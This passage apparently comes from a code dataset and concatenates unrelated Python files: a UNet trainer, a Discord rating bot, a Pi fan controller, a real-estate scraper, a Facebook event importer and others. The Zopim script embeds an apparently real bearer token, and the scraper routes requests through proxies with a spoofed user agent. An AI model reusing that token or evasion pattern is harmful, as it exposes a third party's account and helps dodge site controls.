\"\"\"\n training operation\n argument of this function are given by functions in prepare_data.py\n\n Parameters\n ----------\n parser: \n the paser that has some options\n \"\"\"\n epoch = parser.epoch\n l2 = parser.l2\n batch_size = parser.batch_size\n train_val_rate = parser.train_rate\n\n output = self.UNet(l2_reg=l2, is_training=self.is_training)\n loss = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits_v2(labels=self.y, logits=output)\n )\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_ops = tf.train.AdamOptimizer(parser.learning_rate).minimize(loss)\n\n init = tf.global_variables_initializer()\n saver = tf.train.Saver(max_to_keep=100)\n all_train, all_val = prepare_data.load_data(\n self.IMAGE_DIR,\n self.SEGMENTED_DIR,\n n_class=2,\n train_val_rate=train_val_rate\n )\n with tf.Session() as sess:\n init.run()\n for e in range(epoch):\n data = prepare_data.generate_data(*all_train, batch_size)\n val_data = prepare_data.generate_data(*all_val, len(all_val[0]))\n for Input, Teacher in data:\n sess.run(\n train_ops,\n feed_dict={self.X: Input, self.y: Teacher, self.is_training: True}\n )\n ls = loss.eval(feed_dict={self.X: Input, self.y: Teacher, self.is_training: None})\n for val_Input, val_Teacher in val_data:\n val_loss = loss.eval(\n feed_dict={\n self.X: val_Input,\n self.y: val_Teacher,\n self.is_training: None\n }\n )\n\n print(f'epoch #{e + 1}, loss = {ls}, val loss = {val_loss}')\n if e % 100 == 0:\n saver.save(sess, f\"./params/model_{e + 1}epochs.ckpt\")\n\n self.validation(sess, output)\n\n\n def validation(self, sess, output):\n val_image = prepare_data.load_data(self.VALIDATION_DIR, None, n_class=2, train_val_rate=1)[0]\n data = prepare_data.generate_data(*val_image, batch_size=1)\n for Input, _ in data:\n result = sess.run(output, feed_dict={self.X: Input, self.is_training: None}) \n break\n \n result = np.argmax(result[0], axis=2)\n ident = np.identity(3, dtype=np.int8)\n result = ident[result]*255\n\n plt.imshow((Input[0]*255).astype(np.int16))\n plt.imshow(result, alpha=0.2)\n plt.show()\n","sub_path":"UNet/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"376204391","text":"import requests\nimport json\ntoken = \"aoaEoJFtHiwbtn2HYNkR4qGRPFhyO4TUJ5kpAWZpxG3utS2K3RU1DCrhuLTkIUnm\"\nh2 = {\n \"Content-Type\": \"application/json; charset=utf-8\",\n \"Authorization\": \"Bearer \" + token\n\n}\nurl = \"https://www.zopim.com/api/v2/departments\" # + str(init)\nauth = {\n \"Authorization\": \"Bearer \" + token\n}\nds = requests.get(url, headers=h2).json()\n\ndepts = []\ndata = {\"members\": [364582955793, 364582953553]}\n\nwith open(\"agentes_DB.json\",encoding=\"utf-8\") as f:\n f = json.loads(f.read())\n for x in ds:\n if '[TR]' in x['name']:\n members_to_insert = []\n for n in x['members']:\n members_to_insert.append(n)\n for n in data[\"members\"]:\n #for n in f:\n #if 'eg.teleperformance.com' in n['email']:\n members_to_insert.append(n)\n depts.append({\"id\" : x['id'], \"name\": x[\"name\"], \"members\": list(set(members_to_insert))})\n\n#s = list(set(depts))\n\n#print(s)\nprint(depts)\n#d = {\"members\" : s}\nfor x in depts:\n url = \"https://www.zopim.com/api/v2/departments/\" + str(x[\"id\"])\n d = {\"members\" : x[\"members\"]}\n print(url)\n print(d)\n ds = requests.put(url, data=json.dumps(d), headers=h2)\n print(ds)\n","sub_path":"add_agents_to_depts.py","file_name":"add_agents_to_depts.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"339596290","text":"import numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nfrom tkinter import filedialog\r\nfrom tkinter import *\r\nfrom PIL import Image, ImageFilter\r\nfrom skimage import io\r\nfrom skimage.filters.rank import median\r\nfrom skimage.morphology import disk\r\nfrom skimage.color import rgb2gray\r\nimport matplotlib.pyplot as plt\r\n\r\nroot = Tk()\r\nroot.withdraw()\r\nroot.filename = filedialog.askopenfilename(initialdir = \"/\",title = \"Select file\",filetypes = ((\"all files\",\".*\"),(\"jpg files\",\".jpg\")))\r\nimagen = cv2.imread(root.filename)\r\n\"\"\" imagen[177:200,:,0] = 0\r\nimagen[177:200,:,1] = 0\r\nimagen[177:200,:,2] = 0\r\n \"\"\"\r\n\r\nhsv = cv2.cvtColor(imagen, cv2.COLOR_BGR2HSV)\r\nroot.destroy()\r\n\r\nH = hsv[:,:,0]\r\nS = hsv[:,:,1]\r\nV = hsv[:,:,2]\r\nprint (H)\r\nVIe = cv2.equalizeHist(V)\r\nhsv[:,:,2]=VIe\r\nnew=cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\r\n\r\nhmin = 0\r\nhmax = 30.6 #0.2\r\nsat = 1.25 ##0.15 38.25 0.0025\r\n\r\nskin = np.zeros([len(H), len(H[0])])\r\nfor i in range(0,len(S)):\r\n for j in range (0,len(H[0])) : \r\n if ((S[i][j] > sat) and (H[i][j]>hmin) and (H[i][j]\", 2: \"\", 3: \"<:malKanonCry:644320461135806464>\", 4: \"<:malThinku:627916285912678429>\", 5: \"<:malNezukoAnger:625754858405888009>\", 6: \"\", 7: \"<:malKasuPray:686770171523891221>\", 8: \"<:malPouts:642018487996383242>\", 9: \"<:malYayy:608273843710197761>\", 10: \"\"}\n self.clearCooldown.start()\n\n @tasks.loop(count=1)\n async def init(self):\n await self.bot.wait_until_ready()\n\n self.rating_channel = await self.bot.fetch_channel(self.rating_channel_id)\n\n message = await self.rating_channel.fetch_message(self.rating_channel.last_message_id)\n\n self.user_to_rate = message.author\n\n self.rating_message = await self.SendAvatar()\n\n @tasks.loop(seconds=5)\n async def clearCooldown(self):\n for user in self.users:\n if datetime.datetime.now() > self.users[user]:\n try:\n del self.users[user]\n return\n except:\n return\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n if not self.rating_message:\n return\n\n if payload.member.bot or payload.member == self.user_to_rate:\n return\n\n if payload.message_id != self.rating_message.id:\n return\n\n if payload.user_id in self.users:\n return await self.CooldownMessage(payload.member)\n\n avatar_rating = self.emotes[str(payload.emoji)]\n\n emote_rating = self.reactions[avatar_rating]\n\n await self.rating_channel.send(f\"{self.user_to_rate.mention}, your avatar has been rated {avatar_rating}/10 by {payload.member.mention}! {emote_rating}\")\n\n self.user_to_rate = payload.member\n\n self.users[self.user_to_rate.id] = datetime.datetime.now() + datetime.timedelta(hours=self.cooldown)\n\n self.rating_message = await self.SendAvatar()\n\n async def SendAvatar(self):\n embed = discord.Embed(colour=self.user_to_rate.top_role.colour)\n embed.set_image(url=self.user_to_rate.avatar_url)\n embed.set_author(name=f\"Rate {self.user_to_rate.display_name}'s avatar!\")\n\n e = await self.rating_channel.send(embed=embed)\n\n for emote in self.emotes:\n await e.add_reaction(emote)\n\n return e\n\n def CalcTime(self, userid):\n delta = self.users[userid] - datetime.datetime.now()\n secs = delta.total_seconds()\n return secs\n\n async def CooldownMessage(self, user):\n secs = self.CalcTime(user.id)\n coolTime = time.gmtime(secs)\n embed = discord.Embed(description=\"You can rate another avatar in {}\".format(time.strftime(\"%H hours, %M minutes and %S seconds.\", coolTime)), colour=discord.Colour(0xff0000))\n embed.set_author(name=f\"You are on cooldown!\")\n\n await user.send(embed=embed)\n\ndef setup(bot):\n bot.add_cog(RateMyAvatar1(bot))\n","sub_path":"modules/AvatarRating.py","file_name":"AvatarRating.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"178174790","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@文件 :c9.py\n@说明 :python和json的交互\n@时间 :2020/09/20 14:52:40\n@作者 :陆柏成\n@版本 :1.0\n@Email :lu_baicheng@163.com\n'''\nimport json\n\njson_str = '[{\"name\":\"qiyue\",\"age\":18},{\"name\":\"qiyue\",\"age\":18}]'\n\nstudent = json.loads(json_str)\nstudent_type = type(student)\nprint(student,student_type,student[1])","sub_path":"c9.py","file_name":"c9.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"440857276","text":"import RPi.GPIO as GPIO\r\nimport threading\r\nimport time\r\n\r\nclass Fan(threading.Thread):\r\n def __init__(self, stop_event, pin, temp_low, temp_high, interval, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.stop_event = stop_event\r\n self.pin = pin\r\n self.temp_low = temp_low\r\n self.temp_high = temp_high\r\n self.interval = interval\r\n self.isFanActive = False\r\n \r\n def fan_on(self):\r\n if GPIO.input(self.pin) == True:\r\n return True\r\n GPIO.output(self.pin, True)\r\n return True\r\n\r\n def fan_off(self): \r\n if GPIO.input(self.pin) == False:\r\n return False\r\n GPIO.output(self.pin, False)\r\n return False\r\n\r\n def get_current_temp(self):\r\n try:\r\n with open('/sys/class/thermal/thermal_zone0/temp', 'r') as file:\r\n temp = float(file.read())\r\n temp = round(temp / 1000, 1)\r\n return temp\r\n except:\r\n return -1 \r\n \r\n def run(self):\r\n GPIO.setmode(GPIO.BCM)\r\n GPIO.setup(self.pin, GPIO.OUT)\r\n GPIO.setwarnings(False)\r\n\r\n while not self.stop_event.is_set():\r\n temp = self.get_current_temp()\r\n if temp > self.temp_high and self.isFanActive == False:\r\n self.fan_on()\r\n self.isFanActive = True\r\n\r\n if temp < self.temp_high and self.isFanActive == True:\r\n self.fan_off()\r\n self.isFanActive = False \r\n\r\n time.sleep(self.interval)\r\n \r\n GPIO.cleanup()\r\n","sub_path":"rpi_camera/fan.py","file_name":"fan.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"472692082","text":"import os\nimport sys\nimport zc.recipe.egg\n\nclass EZScript:\n \"\"\"\n Buildout recipe creating bin script for arbitrary callable.\n \"\"\"\n def __init__(self, buildout, name, options):\n # Collect script args.\n self.script_args = {}\n self.script_args['module'] = options['module']\n self.script_args['module_callable'] = options['callable']\n\n try:\n self.initialization = options['initialization']\n except KeyError:\n self.initialization = ''\n\n for key, value in options.items():\n if key not in ['recipe', 'eggs', 'module', 'callable', 'extra-paths', 'initialization']:\n self.script_args[key] = value\n\n # General buildout setup.\n self.name = name\n self.buildout = buildout\n self.options = options\n options['location'] = os.path.join(buildout['buildout']['parts-directory'], name)\n if 'extra-paths' in options:\n options['pythonpath'] = options['extra-paths']\n else:\n options.setdefault('extra-paths', options.get('pythonpath', ''))\n self.egg = zc.recipe.egg.Egg(buildout, options['recipe'], options)\n\n def get_extra_paths(self):\n extra_paths = [self.options['location'],\n self.buildout['buildout']['directory']\n ]\n\n # Add libraries found by a site .pth files to our extra-paths.\n if 'pth-files' in self.options:\n import site\n for pth_file in self.options['pth-files'].splitlines():\n pth_libs = site.addsitedir(pth_file, set())\n if not pth_libs:\n self.log.warning(\n \"No site *.pth libraries found for pth_file=%s\" % (\n pth_file,))\n else:\n self.log.info(\"Adding *.pth libraries=%s\" % pth_libs)\n self.options['extra-paths'] += '\\n' + '\\n'.join(pth_libs)\n\n pythonpath = [p.replace('/', os.path.sep) for p in\n self.options['extra-paths'].splitlines() if p.strip()]\n\n extra_paths.extend(pythonpath)\n return extra_paths\n\n def create_script(self, ws):\n args = []\n for k,v in self.script_args.items():\n if v.isdigit():\n args.append('%s=%d' % (k, int(v)))\n else:\n args.append('%s=%s' % (k, v))\n\n return zc.buildout.easy_install.scripts(\n [(self.name, 'shaunsephton.recipe.ezscript', 'script')],\n ws, \n sys.executable, \n self.options['bin-directory'],\n arguments=', '.join(args),\n extra_paths = self.get_extra_paths(),\n initialization=self.initialization,\n )\n \n def install(self):\n requirements, ws = self.egg.working_set(['shaunsephton.recipe.ezscript'])\n script_paths = []\n\n # Create script.\n script_paths.extend(self.create_script(ws))\n\n return script_paths\n\n def update(self):\n self.install()\n\ndef import_module(name, package=None):\n \"\"\"Import a module.\n\n The 'package' argument is required when performing a relative import. It\n specifies the package to use as the anchor point from which to resolve the\n relative import to an absolute import.\n\n \"\"\"\n if name.startswith('.'):\n if not package:\n raise TypeError(\"relative imports require the 'package' argument\")\n level = 0\n for character in name:\n if character != '.':\n break\n level += 1\n name = _resolve_name(name[level:], package, level)\n __import__(name)\n return sys.modules[name]\n\ndef script(module, module_callable, *args, **kwargs):\n \"\"\"\n Args:\n module: Module in which your callable is defined. Required.\n module_callable: Callable to call in ``module`` with additionally provided parameters. Required.\n **kwargs: Additional keyword arguments to pass to callable. Optional.\n \"\"\"\n module = import_module(module)\n return getattr(module, module_callable)(**kwargs)\n","sub_path":"shaunsephton/recipe/ezscript.py","file_name":"ezscript.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"304319471","text":"# Given a linked list, swap every two adjacent nodes and return its head.\n# \n# For example,\n# Given 1->2->3->4, you should return the list as 2->1->4->3.\n# \n# Your algorithm should use only constant space.\n# You may not modify the values in the list, only nodes itself can be changed.\n#\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param {ListNode} head\n # @return {ListNode}\n def swapPairs(self, head):\n if not head or not head.next:\n return head\n \n dummy_node = ListNode(0)\n dummy_node.next = head\n current = dummy_node\n while current.next and current.next.next:\n next_one, next_two, next_three = current.next, current.next.next, current.next.next.next\n current.next = next_two\n next_two.next = next_one\n next_one.next = next_three\n current = current.next.next\n return dummy_node.next\n\n# https://github.com/kamyu104/LeetCode/blob/master/Python/swap-nodes-in-pairs.py has to use dummy,\n# http://www.cnblogs.com/springfor/p/3862030.html 看说明\n# 这道题考察了基本的链表操作,注意当改变指针连接时,要用一个临时指针指向原来的next值,否则链表丢链,无法找到下一个值。 \n\n# 本题的解题方法是:\n\n# 需要运用fakehead来指向原指针头,防止丢链,用两个指针,ptr1始终指向需要交换的pair的前面一个node,ptr2始终指向需要交换的pair的第一个node。\n\n# 然后就是进行链表交换。\n\n# 需要用一个临时指针nextstart, 指向下一个需要交换的pair的第一个node,保证下一次交换的正确进行。\n\n# 然后就进行正常的链表交换,和指针挪动就好。 \n\n# 当链表长度为奇数时,ptr2.next可能为null;\n\n# 当链表长度为偶数时,ptr2可能为null。\n\n# 所以把这两个情况作为终止条件,在while判断就好,最后返回fakehead.next。\n\n# 代码如下:\n\n# 复制代码\n# 1 public ListNode swapPairs(ListNode head) {\n# 2 if(head == null || head.next == null)\n# 3 return head;\n# 4 \n# 5 ListNode fakehead = new ListNode(-1);\n# 6 fakehead.next = head;\n# 7 \n# 8 ListNode ptr1 = fakehead;\n# 9 ListNode ptr2 = head;\n# 10 \n# 11 while(ptr2!=null && ptr2.next!=null){\n# 12 ListNode nextstart = ptr2.next.next;\n# 13 ptr2.next.next = ptr2;\n# 14 ptr1.next = ptr2.next;\n# 15 ptr2.next = nextstart;\n# 16 ptr1 = ptr2;\n# 17 ptr2 = ptr2.next;\n# 18 }\n# 19 return fakehead.next;\n# 20 }\n复制代码\n","sub_path":"swap-nodes-in-pairs-(M)-(24).py","file_name":"swap-nodes-in-pairs-(M)-(24).py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"29142208","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom random import randint\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport csv\n\n#To Display all columns of a pandas DataFrame (remax_data)\npd.set_option('display.max_rows', 500)\npd.set_option('display.max_columns', 500)\npd.set_option('display.width', 1000)\n\nHEADERS = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'}\nproxies = {\n \"http\": 'http://110.74.222.159:40348',\n \"https\": 'http://181.118.167.104:80'\n}\n\ndef main():\n print_header()\n pages = np.arange(0, 500, 10)\n for page in pages:\n url = \"https://www.remax-quebec.com/fr/maison-a-vendre/montreal/resultats.rmx?offset=\" + str(page) + \"#listing\"\" + str(page) + \"\n html = get_html_from_url(url, HEADERS, proxies)\n remax_data = get_data_from_html(html)\n add_data_to_file(remax_data)\n print(remax_data)\n sleep(randint(2, 10))\n\ndef print_header():\n print('---------------------------------')\n print(' Remax web Scraping ')\n print('---------------------------------')\n print()\n\ndef get_html_from_url(url, headers, proxies):\n response = requests.get(url, headers=headers, proxies=proxies).content\n # Parse the html content\n soup = BeautifulSoup(response, \"html.parser\")\n return soup\n\ndef get_data_from_html(html):\n #Search ULS code\n uls = list()\n property_uls = html.find_all(\"div\", attrs={\"class\":\"property-uls\"})\n for prop_uls in property_uls:\n mots = prop_uls.get_text().split(\":\")\n mots = mots[1].split(\"\\r\")\n mots = mots[0].split(\" \")\n uls.append(mots[1])\n\n #Search type\n type = list()\n property_type = html.find_all(\"h2\", attrs={\"class\":\"property-type\"})\n for prop_type in property_type:\n mots = prop_type.get_text().split(\"\\r\")\n mots_1 = mots[1].split(\" \")\n mots_2 = mots[0].split(\" \")\n type.append(mots_2[1]+\" \"+mots_1[12]+\" \"+mots_1[13])\n\n #Search bethroom and bedroom\n bethroom = list()\n bedroom = list()\n property_options = html.find_all(\"div\", attrs={\"class\": \"property-options\"})\n for prop_opt in property_options:\n mots = prop_opt.get_text().split(\"\\n\")\n if len(mots) < 2 or mots[1] == \"\":\n bethroom.append(np.NAN)\n else:\n bethroom.append(mots[1])\n if len(mots) < 3 or mots[2] == \"\":\n bedroom.append(np.NAN)\n else:\n bedroom.append(mots[2])\n\n #Search price\n price = list()\n property_price = html.find_all(\"div\", attrs={\"class\": \"property-price\"})\n for prop_price in property_price:\n mots = prop_price.get_text().split(\"\\n\")\n mots = mots[1].split(\" \")\n mots = [x for x in mots if x != ''] #Remove empty strings from a list\n price.append(mots[0].replace('\\xa0', ' ')+'$')\n\n #Search Adresse + Timestamp\n adress = list()\n i = 0\n property_address_street = html.find_all(\"span\",attrs={\"class\": \"property-address-street\"}) #property-address\n property_address_locality = html.find_all(\"span\",attrs={\"class\": \"property-address-locality\"}) #property-address\n now = datetime.now()\n for prop_street in property_address_street:\n adress.append(prop_street.get_text())\n for prop_local in property_address_locality:\n adress[i] = adress[i]+prop_local.get_text()\n i+=1\n\n # Add values to the Dataframe\n data={'Timestamp':now, 'ULS':uls, 'Type':type, 'Adresse':adress, 'Bethroom':bethroom, 'Bedroom':bedroom, 'Price':price}\n df = pd.DataFrame(data)\n # print(df)\n return df\n\ndef add_data_to_file(report):\n with open(\"montreal_data.txt\", \"a\", newline=\"\") as ficout:\n ecriteur = csv.writer(ficout, delimiter=\"|\", quoting=csv.QUOTE_NONNUMERIC)\n for i, row in report.iterrows():\n ecriteur.writerow((row[\"Timestamp\"], row[\"ULS\"], row[\"Type\"], row[\"Adresse\"], row[\"Bethroom\"], row[\"Bedroom\"], row[\"Price\"]))\n\nif __name__ == '__main__':\n main()\n","sub_path":"Web_Scraping_Projects/Web_scraping_from_Remax/mod_scraping.py","file_name":"mod_scraping.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"373201241","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport glob\nimport pytz\nimport dateutil.parser\nimport urllib2\nimport locale\nimport subprocess\n\nfrom django.db import connection\nfrom django.core.management.base import BaseCommand\nfrom django.core.management import call_command\nfrom progressbar import *\nfrom facepy import GraphAPI\nfrom datetime import timedelta, datetime\nfrom urlparse import parse_qs\nfrom wime.settings import FACEBOOK_APP_ID, FACEBOOK_API_SECRET, ENV_DIR\nfrom wime.apps.agenda.models import *\n\nFACEBOOK_ACCESS_TOKEN = os.environ.get('FACEBOOK_ACCESS_TOKEN')\nlocale.setlocale(locale.LC_ALL, os.environ.get('OS_LOCALE'))\n\n\nclass Debug(object):\n\n verbosity = 0\n\n @classmethod\n def show(cls, message, level=0):\n if cls.verbosity > level:\n print(message)\n\n\nclass Trigger(object):\n\n graph = None\n errors = []\n created_events = 0\n updated_events = 0\n created_places = 0\n created_pages = 0\n created_categories = 0\n events_fields = 'eid, name, creator, description, start_time, end_time, update_time, venue, privacy, pic_cover, ticket_uri, timezone, location'\n page_fields = 'categories, description, keywords, location, name, page_id, page_url, parent_page, pic_big, type, website'\n location_offset = 0.4\n events_to_register = {}\n events_filled = 0\n places_to_register = {}\n places_filled = 0\n pages_to_register = {}\n pages_filled = 0\n categories_to_register = {}\n\n\nclass CityManager(object):\n\n cities = {}\n\n class Meta:\n app_label = 'agenda'\n\n @classmethod\n def load_cities(self):\n Debug.show('\\n\\nLoading cities...')\n for city in City.objects.filter(active=True):\n if not city.fb_id:\n search = Trigger.graph.search(\n term=city.name,\n type='page',\n page=True,\n limit=500\n )\n fb_pages = [p['data'] for p in search][0]\n pages = [p for p in fb_pages if p['name'] == '{city}, France'.format(city=city.name) and p['category'] == 'City']\n if len(pages) == 1:\n city.fb_id = int(pages[0]['id'])\n city.save()\n Debug.show('Linked Facebook page ID to city {city}'.format(city=city.name))\n if city.pk not in self.cities:\n self.cities[city.pk] = city\n Debug.show('\\t⇨ Loaded {cities} cities.'.format(cities=len(self.cities)))\n\n @classmethod\n def get_by_name(self, name):\n for city_pk, city in self.cities.iteritems():\n if city.name.lower() == name.lower():\n return city\n return None\n\n\nclass WimetagManager(object):\n\n actives_wimetags = {}\n all_wimetags = {}\n\n @classmethod\n def load_wimetags(self):\n Debug.show('Loading wimetags...')\n for wimetag in Wimetag.objects.all():\n if wimetag.fb_id not in self.actives_wimetags:\n if wimetag.active is True:\n self.actives_wimetags[wimetag.fb_id] = wimetag\n self.all_wimetags[wimetag.fb_id] = wimetag\n\n Debug.show('\\t⇨ Loaded {wimetags} actives wimetags and {all} in total.'.format(wimetags=len(self.actives_wimetags), all=len(self.all_wimetags)))\n\n @classmethod\n def fill(self, categories):\n filled = 0\n for cat in categories:\n if cat['id'] not in self.all_wimetags and cat['id'] not in Trigger.categories_to_register:\n Trigger.categories_to_register[cat['id']] = cat['name'].lower()\n filled += 1\n return filled\n\n @classmethod\n def get_by_name(self, name):\n for fb_id, wimetag in self.all_wimetags.iteritems():\n if wimetag.term.lower() == name.lower():\n return wimetag\n return None\n\n @classmethod\n def register(self):\n Debug.show('\\nStarting to register categories...')\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=len(Trigger.categories_to_register), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n inc = 0\n for fb_id, cat_name in Trigger.categories_to_register.iteritems():\n registered_category = Wimetag.objects.create(\n fb_id=fb_id,\n term=cat_name\n )\n self.all_wimetags[registered_category.fb_id] = registered_category\n Trigger.created_categories += 1\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n\n\nclass PlaceManager(object):\n\n places = {}\n\n @classmethod\n def load_places(self):\n Debug.show('Loading places...')\n for place in FacebookPlace.objects.all():\n if place.fb_id not in self.places:\n self.places[place.fb_id] = place\n Debug.show('\\t⇨ Loaded {places} places.'.format(places=len(self.places)))\n\n @classmethod\n def fill(self, places):\n filled = 0\n inc = 0\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=len(places), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n for place in places:\n if place['page_id'] not in Trigger.places_to_register and not self.is_already_registered(place['page_id']):\n Trigger.places_to_register[place['page_id']] = FacebookPlace.clean_for_import(place, CityManager, WimetagManager)\n filled += 1\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n return filled\n\n @classmethod\n def exists(self, place_id):\n return place_id in self.places\n\n @classmethod\n def is_already_registered(self, fb_id):\n return fb_id in self.places\n\n @classmethod\n def register(self):\n Debug.show('\\nStarting to register places...')\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=len(Trigger.places_to_register), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n inc = 0\n for fb_id, place in Trigger.places_to_register.iteritems():\n if not self.is_already_registered(fb_id):\n try:\n registered_place = FacebookPlace.objects.create(\n fb_id=place['fb_id'],\n name=place['name'],\n address=place['address'],\n zipcode=place['zipcode'],\n city=place['city'],\n country=place['country'],\n latitude=place['latitude'],\n longitude=place['longitude'],\n place_type=place['place_type'],\n description=place['description'],\n website=place['website'],\n page_url=place['page_url'],\n picture=place['picture']\n )\n for wimetag in place['wimetags']:\n registered_place.wimetags.add(wimetag)\n self.places[registered_place.fb_id] = registered_place\n Trigger.created_places += 1\n except Exception as e:\n Trigger.errors.append('PLACE CREATE error [{id}]: {error}'.format(id=place['fb_id'], error=e))\n connection._rollback()\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n\n\nclass PageManager(object):\n\n pages = {}\n\n @classmethod\n def load_pages(self):\n Debug.show('Loading pages...')\n for page in FacebookPage.objects.all():\n if page.fb_id not in self.pages:\n self.pages[page.fb_id] = page\n Debug.show('\\t⇨ Loaded {pages} pages.'.format(pages=len(self.pages)))\n\n @classmethod\n def fill(self, pages):\n filled = 0\n inc = 0\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=len(pages), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n for page in pages:\n if page['page_id'] not in Trigger.pages_to_register and not self.is_already_registered(page['page_id']):\n Trigger.pages_to_register[page['page_id']] = FacebookPage.clean_for_import(page, CityManager, WimetagManager)\n filled += 1\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n return filled\n\n @classmethod\n def register(self):\n Debug.show('\\nStarting to register pages...')\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=len(Trigger.pages_to_register), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n inc = 0\n for fb_id, page in Trigger.pages_to_register.iteritems():\n if not self.is_already_registered(fb_id):\n try:\n registered_page = FacebookPage.objects.create(\n fb_id=page['fb_id'],\n name=page['name'],\n address=page['address'],\n zipcode=page['zipcode'],\n city=page['city'],\n country=page['country'],\n latitude=page['latitude'],\n longitude=page['longitude'],\n page_type=page['page_type'],\n description=page['description'],\n website=page['website'],\n page_url=page['page_url'],\n picture=page['picture']\n )\n for wimetag in page['wimetags']:\n registered_page.wimetags.add(wimetag)\n self.pages[registered_page.fb_id] = registered_page\n Trigger.created_pages += 1\n except Exception as e:\n Trigger.errors.append('PAGE CREATE error [{id}]: {error}'.format(id=page['fb_id'], error=e))\n connection._rollback()\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n\n @classmethod\n def is_already_registered(self, fb_id):\n return fb_id in self.pages or fb_id in PlaceManager.places\n\n\nclass EventManager(object):\n\n events = {}\n\n utc_tz = pytz.timezone('UTC')\n\n @classmethod\n def load_events(self):\n Debug.show('Loading events...')\n for event in FacebookEvent.objects.filter(start_time__gt=self.utc_tz.localize(datetime.now())):\n if event.fb_id not in self.events:\n self.events[event.fb_id] = event\n Debug.show('\\t⇨ Loaded {events} events.'.format(events=len(self.events)))\n\n @classmethod\n def fill(self, events, city_pk, wimetag_pk):\n filled = 0\n inc = 0\n if len(events) > 0:\n if city_pk not in Trigger.events_to_register:\n Trigger.events_to_register[city_pk] = {wimetag_pk: {}}\n elif wimetag_pk not in Trigger.events_to_register[city_pk]:\n Trigger.events_to_register[city_pk][wimetag_pk] = {}\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=len(events), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n for event in events:\n if event['eid'] not in Trigger.events_to_register[city_pk][wimetag_pk]:\n Trigger.events_to_register[city_pk][wimetag_pk][event['eid']] = self.clean(event)\n filled += 1\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n return filled\n\n @classmethod\n def clean(self, event):\n cleaned_event = {\n 'fb_id': event['eid'],\n 'name': event['name'],\n 'privacy': 'OPEN',\n 'ticket_uri': None,\n 'end_time': None,\n 'end_date_fr': None,\n 'end_time_fr': None,\n 'updated_time': None,\n 'address': None,\n 'zipcode': None,\n 'country': None,\n 'location': None,\n 'latitude': None,\n 'longitude': None,\n 'picture': None,\n }\n try:\n cleaned_event['picture'] = event['pic_cover']['source']\\\n if 'pic_cover' in event and event['pic_cover'] is not None\\\n else self.get_event_picture(event['eid'])\n except Exception as e:\n Trigger.errors.append('PICTURE error: {error}'.format(error=e))\n try:\n cleaned_event['owner_id'] = event['creator']\n try:\n cleaned_event['owner_name'] = UserManager.get_user_name(event['creator'])\n except Exception as e:\n Trigger.errors.append('USER error: {error}'.format(error=e))\n except Exception as e:\n Trigger.errors.append('OWNER ID error: {error}'.format(error=e))\n try:\n cleaned_event['start_time'] = dateutil.parser.parse(event['start_time'])\n cleaned_event['start_time'] = cleaned_event['start_time'].replace(tzinfo=pytz.utc)\n cleaned_event['start_date_fr'] = cleaned_event['start_time'].strftime('%A %d %B %Y')\n cleaned_event['start_time_fr'] = cleaned_event['start_time'].strftime('%H:%M')\n\n if 'end_time' in event and event['end_time'] is not None:\n cleaned_event['end_time'] = dateutil.parser.parse(event['end_time'])\n cleaned_event['end_time'] = cleaned_event['end_time'].replace(tzinfo=pytz.utc)\n cleaned_event['end_date_fr'] = cleaned_event['end_time'].strftime('%A %d %B 